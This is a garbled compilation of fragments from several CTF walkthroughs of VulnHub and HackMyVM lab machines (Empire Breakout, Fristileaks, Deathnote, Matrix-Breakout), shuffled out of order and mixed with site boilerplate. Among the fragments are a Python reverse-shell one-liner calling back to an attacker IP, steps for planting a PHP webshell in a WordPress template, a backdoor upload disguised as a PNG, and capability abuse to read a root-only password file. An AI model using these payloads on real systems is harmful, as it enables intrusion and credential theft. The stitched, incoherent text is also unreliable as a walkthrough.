We used the -p- option for a full port scan in the Nmap command. First, let us save the key into the file. The command used for the scan and the results can be seen below. Let us open the file on the browser to check the contents. flag1. Lets look out there. It can be seen in the following screenshot. Download the Mr. "Writeup - Breakout - HackMyVM - Walkthrough" Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout Identify the target As usual, I started the exploitation by identifying the IP address of the target. . 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Host discovery. << ffuf -u http://192.168.1.15/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt -fc 403 >>. memory This is fairly easy to root and doesnt involve many techniques. So lets edit one of the templates, such as the 404 template, with our beloved PHP webshell. So, in the next step, we will start solving the CTF with Port 80. Kali Linux VM will be my attacking box. As usual, I started the exploitation by identifying the IP address of the target. The login was successful as the credentials were correct for the SSH login. I hope you liked the walkthrough. Note: The target machine IP address may be different in your case, as the network DHCP assigns it. As we already know from the hint message, there is a username named kira. However, it requires the passphrase to log in. Categories c I have tried to show up this machine as much I can. I hope you enjoyed solving this refreshing CTF exercise. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. security This lab is appropriate for seasoned CTF players who want to put their skills to the test. Now, We have all the information that is required. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip. First, we need to identify the IP of this machine. web So, in the next step, we will start the CTF with Port 80. We identified a directory on the target application with the help of a Dirb scan. we have to use shell script which can be used to break out from restricted environments by spawning . We analyzed the output, and during this process, we noticed a username which can be seen in the below screenshot. Download the Mr. I am using Kali Linux as an attacker machine for solving this CTF. We need to log in first; however, we have a valid password, but we do not know any username. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. We copy-pasted the string to recognize the encryption type and, after that, click on analyze. [CLICK IMAGES TO ENLARGE]. Meant to be broken in a few hours without requiring debuggers, reverse engineering, and so on. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. So, two types of services are available to be enumerated on the target machine. We used the su command to switch to kira and provided the identified password. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. fig 2: nmap. It can be used for finding resources not linked directories, servlets, scripts, etc. command to identify the target machines IP address. We will be using 192.168.1.23 as the attackers IP address. In the next step, we will be taking the command shell of the target machine. So, let us start the fuzzing scan, which can be seen below. The target machines IP address can be seen in the following screenshot. We identified a few files and directories with the help of the scan. Obviously, ls -al lists the permission. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . Infosec, part of Cengage Group 2023 Infosec Institute, Inc. The initial try shows that the docom file requires a command to be passed as an argument. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. After getting the version information of the installed operating system and kernel, we searched the web for an available exploit, but none could be found. We can see this is a WordPress site and has a login page enumerated. EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. I am using Kali Linux as an attacker machine for solving this CTF. The base 58 decoders can be seen in the following screenshot. Difficulty: Medium-Hard File Information Back to the Top hackthebox Series: Fristileaks We created two files on our attacker machine. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. Also, its always better to spawn a reverse shell. Decoding it results in following string. The hint can be seen highlighted in the following screenshot. Since we are running a virtual machine in the same network, we can identify the target machine's IP address by running the netdiscover command. As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. The hint message shows us some direction that could help us login into the target application. The first step is to run the Netdiscover command to identify the target machines IP address. The identified plain-text SSH key can be seen highlighted in the above screenshot. Anyways, we can see that /bin/bash gets executed under root and now the user is escalated to root. In this case, I checked its capability. Soon we found some useful information in one of the directories. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. The identified open ports can also be seen in the screenshot given below. Let us enumerate the target machine for vulnerabilities. Foothold fping fping -aqg 10.0.2.0/24 nmap We will be using. In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. 7. The second step is to run a port scan to identify the open ports and services on the target machine. Sticking to the goal and following the same pattern of key files, we ran a quick check across the file system with command like find / -name key-2-of-3.txt. Another step I always do is to look into the directory of the logged-in user. Let us start the CTF by exploring the HTTP port. We used the ping command to check whether the IP was active. In this walkthrough I am going to go over the steps I followed to get the flags on this CTF. driftingblues The output of the Nmap shows that two open ports have been identified Open in the full port scan. However, enumerating these does not yield anything. Nmap also suggested that port 80 is also opened. So, we collected useful information from all the hint messages given on the target application to login into the admin panel. After some time, the tool identified the correct password for one user. linux basics The versions for these can be seen in the above screenshot. In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability Walkthrough Download the Fristileaks VM from the above link and provision it as a VM. Until now, we have enumerated the SSH key by using the fuzzing technique. Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale. In the above screenshot, we can see the robots.txt file on the target machine. Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. There was a login page available for the Usermin admin panel. So, we clicked on the hint and found the below message. We researched the web to help us identify the encoding and found a website that does the job for us. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. WordPress then reveals that the username Elliot does exist. hacksudo We have enumerated two usernames on the target machine, l and kira. We have added these in the user file. Difficulty: Intermediate So, we decided to enumerate the target application for hidden files and folders. If you understand the risks, please download! Taking remote shell by exploiting remote code execution vulnerability Getting the root shell The walkthrough Step 1 The first step to start solving any CTF is to identify the target machine's IP address. vulnhub The ping response confirmed that this is the target machine IP address. Below we can see netdiscover in action. On browsing I got to know that the machine is hosting various webpages . pointers structures As we have access to the target machine, let us try to obtain reverse shell access by running a crafted python payload. Use the elevator then make your way to the location marked on your HUD. After that, we used the file command to check the content type. The IP of the victim machine is 192.168.213.136. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. On the home page, there is a hint option available. If you havent done it yet, I recommend you invest your time in it. Note: the target machine IP address may be different in your case, as the network DHCP is assigning it. It's themed as a throwback to the first Matrix movie. command we used to scan the ports on our target machine. It is linux based machine. Post-exploitation, always enumerate all the directories under logged-in user to find interesting files and information. By default, Nmap conducts the scan on only known 1024 ports. Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. Getting the target machine IP Address by DHCP, Getting open port details by using the Nmap Tool, Enumerating HTTP Service with Dirb Utility. 9. array The green highlight area shows cap_dac_read_search allows reading any files, which means we can use this utility to read any files. In the next step, we will be using automated tools for this very purpose. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. So, let us open the URL into the browser, which can be seen below. Walkthrough 1. The target machines IP address can be seen in the following screenshot. ssti In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. Thus obtained, the clear-text password is given below for your reference: We enumerated the web application to discover other vulnerabilities or hints, but nothing else was there. Command used: << echo 192.168.1.60 deathnote.vuln >> /etc/hosts >>. It is a default tool in kali Linux designed for brute-forcing Web Applications. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. There is a default utility known as enum4linux in kali Linux that can be helpful for this task. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. "Writeup - Breakout - HackMyVM - Walkthrough" . sql injection As we can see above, its only readable by the root user. WPScanner is one of the most popular vulnerability scanners to identify vulnerability in WordPress applications, and it is available in Kali Linux by default. The message states an interesting file, notes.txt, available on the target machine. Breakout Walkthrough. The identified directory could not be opened on the browser. The comment left by a user names L contains some hidden message which is given below for your reference . Tester(s): dqi, barrebas The enumeration gave me the username of the machine as cyber. It is categorized as Easy level of difficulty. file.pysudo. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. Vulnhub: Empire Breakout Walkthrough Vulnerable Machine 7s26simon 400 subscribers Subscribe 31 Share 2.4K views 1 year ago Vulnhub A walkthrough of Empire: Breakout Show more Show more. This box was created to be an Easy box, but it can be Medium if you get lost. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. We added the attacker machine IP address and port number to configure the payload, which can be seen below. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. For hints discord Server ( https://discord.gg/7asvAhCEhe ). The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. sudo arp-scan 10.0.0.0/24 The IP address of the target is 10.0.0.83 Scan open ports Here, we dont have an SSH port open. So, let us download the file on our attacker machine for analysis. Just above this string there was also a message by eezeepz. As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. Below we can see that we have inserted our PHP webshell into the 404 template. If you have any questions or comments, please do not hesitate to write. 22. . The identified open ports can also be seen in the screenshot given below: we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. The output of the Nmap shows that two open ports have been identified Open in the full port scan. Then, we used John the ripper for cracking the password, but we were not able to crack the password of any user. Locate the transformers inside and destroy them. So following the same methodology as in Kioptrix VMs, lets start nmap enumeration. Let's start with enumeration. To make sure that the files haven't been altered in any manner, you can check the checksum of the file. So, we identified a clear-text password by enumerating the HTTP port 80. We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. Please note: For all of these machines, I have used the VMware workstation to provision VMs. Have a good days, Hello, my name is Elman. Firstly, we have to identify the IP address of the target machine. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. We can do this by compressing the files and extracting them to read. . This VM has three keys hidden in different locations. I have. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. However, for this machine it looks like the IP is displayed in the banner itself So following the same methodology as in Kioptrix VMs, let's start nmap enumeration. We download it, remove the duplicates and create a .txt file out of it as shown below. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. This channel is strictly educational for learning about cyber-security in the areas of ethical hacking and penetration testing so that we can protect ourselves against real hackers. 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. We opened the target machine IP address on the browser. The IP address was visible on the welcome screen of the virtual machine. So, let us open the file important.jpg on the browser. the target machine IP address may be different in your case, as the network DHCP is assigning it. We are now logged into the target machine as user l. We ran the id command output shows that we are not the root user. Let us start enumerating the target machine by exploring the HTTP service through the default port 80. We identified that these characters are used in the brainfuck programming language. kioptrix sudo netdiscover -r 192.168.19./24 Ping scan results Scan open ports Next, we have to scan open ports on the target machine. The target machines IP address can be seen in the following screenshot. So, let us try to switch the current user to kira and use the above password. The Usermin application admin dashboard can be seen in the below screenshot. Here, I wont show this step. It also refers to checking another comment on the page. The flag file named user.txt is given in the previous image. option for a full port scan in the Nmap command. steganography Now that we know the IP, lets start with enumeration. There are numerous tools available for web application enumeration. We added another character, ., which is used for hidden files in the scan command. The CTF or Check the Flag problem is posted on vulnhub.com. This is Breakout from Vulnhub. Below we can see that port 80 and robots.txt are displayed. 14. I am from Azerbaijan. BOOM! As the content is in ASCII form, we can simply open the file and read the file contents. funbox The root flag was found in the root directory, as seen in the above screenshot. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. We used the ls command to check the current directory contents and found our first flag. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. The string was successfully decoded without any errors. Please comment if you are facing the same. We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. 17. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. Testing the password for admin with thisisalsopw123, and it worked. Doubletrouble 1 walkthrough from vulnhub. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. It's themed as a throwback to the first Matrix movie. Since we cannot traverse the admin directory, lets change the permission using chmod in /home/admin like echo /home/admin/chmod -R 777 /home/admin.. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. After executing the above command, we are able to browse the /home/admin, and I found couple of interesting files like whoisyourgodnow.txt and cryptedpass.txt. Below are the nmap results of the top 1000 ports. We will use the FFUF tool for fuzzing the target machine. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. Lets use netdiscover to identify the same. This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. sudo abuse This step will conduct a fuzzing scan on the identified target machine. It is linux based machine. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named. network So, we continued exploring the target machine by checking various files and folders for some hint or loophole in the system. When we look at port 20000, it redirects us to the admin panel with a link. The level is considered beginner-intermediate. Furthermore, this is quite a straightforward machine. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports.
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